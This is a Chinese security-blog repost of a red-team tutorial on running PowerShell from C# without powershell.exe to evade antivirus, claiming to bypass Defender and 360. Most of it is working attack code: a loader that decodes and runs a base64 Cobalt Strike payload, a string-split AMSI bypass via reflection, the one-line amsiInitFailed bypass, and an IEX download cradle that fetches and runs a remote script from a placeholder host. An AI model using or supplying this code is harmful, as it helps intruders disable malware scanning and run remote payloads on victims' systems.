Powershell-免杀:没有 PowerShell.exe 的 PowerShell

admin 2023年5月18日01:04:36评论34 views字数 2465阅读8分13秒阅读模式

Powershell命令免杀的小脚本,可过Defender、360等,内容截取老鑫二期:《红队视角的.Net》

请勿使用于任何非法用途,由此产生的后果自行承担。

C#简介

2001年发布的面向对象编程语言,作为.Net框架的“主角

对于红队意义:后渗透阶段制作程序集直接内存加载运行,无需把文件丢到磁盘上,从而降低被终端安全工具检测到的风险(如 Cobalt Strike 的execute-assembly

C#和Powershell

Powershell 与 .Net Framework 紧密集成,并且可以无缝地与Windows(包括Windows Server)的所有组件一起协作,它们可以互相调用和执行彼此的代码

所以你可以在powershell中使用C#,像下面这样:

$MyCode = @"public class Calc{    public int Add(int a,int b)    {        return a+b;    }        public int Mul(int a,int b)    {        return a*b;    }    public static float Divide(int a,int b)    {        return a/b;    }}"@

创建了一个名为Calc的类型,它有两个实例方法和一个静态方法,接下来将Calc类型添加到当前的 Powershell 会话,使用 New-Object 创建Calc 类型的实例,然后调用它的方法

Powershell-免杀:没有 PowerShell.exe 的 PowerShell

同样我们也可以Powershell in C#:

所有与 Powershell 相关的功能都位于System.Management.Automation命名空间中

using System.Management.Automation;public class Program{    public static void Main()    {    PowerShell ps1 = PowerShell.Create();    ps1.AddScript("Start-Process calc.exe");    ps1.Invoke();  }}

CS上线:

Powershell-免杀:没有 PowerShell.exe 的 PowerShell

using System;using System.Text;using System.Management.Automation;public class Program{    public static void Main()    {        PowerShell ps1 = PowerShell.Create();        String script = "";//payload        script = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(script));        ps1.AddScript(script);        ps1.Invoke();    }}

免杀:

思路很简单,就是通过System.Management.Automation.dll执行底层api来绕过杀软对powershell的监控

using System;using System.Collections.ObjectModel;using System.Diagnostics;using System.Management.Automation;using System.Management.Automation.Runspaces;using System.Reflection;using System.Text;
namespace TestExe{ class Program { static void Main(string[] args) { Runspace Space = RunspaceFactory.CreateRunspace(); Space.Open(); Pipeline myPipeLine = Space.CreatePipeline(); //创建一个管道,禁用AMSI(反恶意软件扫描接口)保护 Space.GetType().Assembly.GetType("Syste" + "m.Managem" + "ent.Autom" + "ation.AmsiU" + "tils").GetField("am" + "siInitF" + "ailed", BindingFlags.NonPublic | BindingFlags.Static).SetValue(null, true); Console.WriteLine(args[0].Replace("+", " "));            myPipeLine.Commands.AddScript(args[0].Replace("+"," "));
Collection<PSObject> outputs = myPipeLine.Invoke(); Space.Close();
System.Text.StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs) {
sb.AppendLine(pobject.ToString());
} Console.WriteLine(sb.ToString()); } }}

patch绕过AMSI的方法会被360查杀,因此这里使用了设置System.Management.Automation.AmsiUtils的方法来绕过。这种方法是16年一个老外发布的,命令如下:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

单纯上线只需要:

myPipeLine.Commands.AddScript("IEX ((new-object net.webclient).downloadstring('http://ip:port/xxx'))");


原文始发于微信公众号(老鑫安全):Powershell-免杀:没有 PowerShell.exe 的 PowerShell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月18日01:04:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Powershell-免杀:没有 PowerShell.exe 的 PowerShellhttp://cn-sec.com/archives/1740989.html

发表评论

匿名网友 填写信息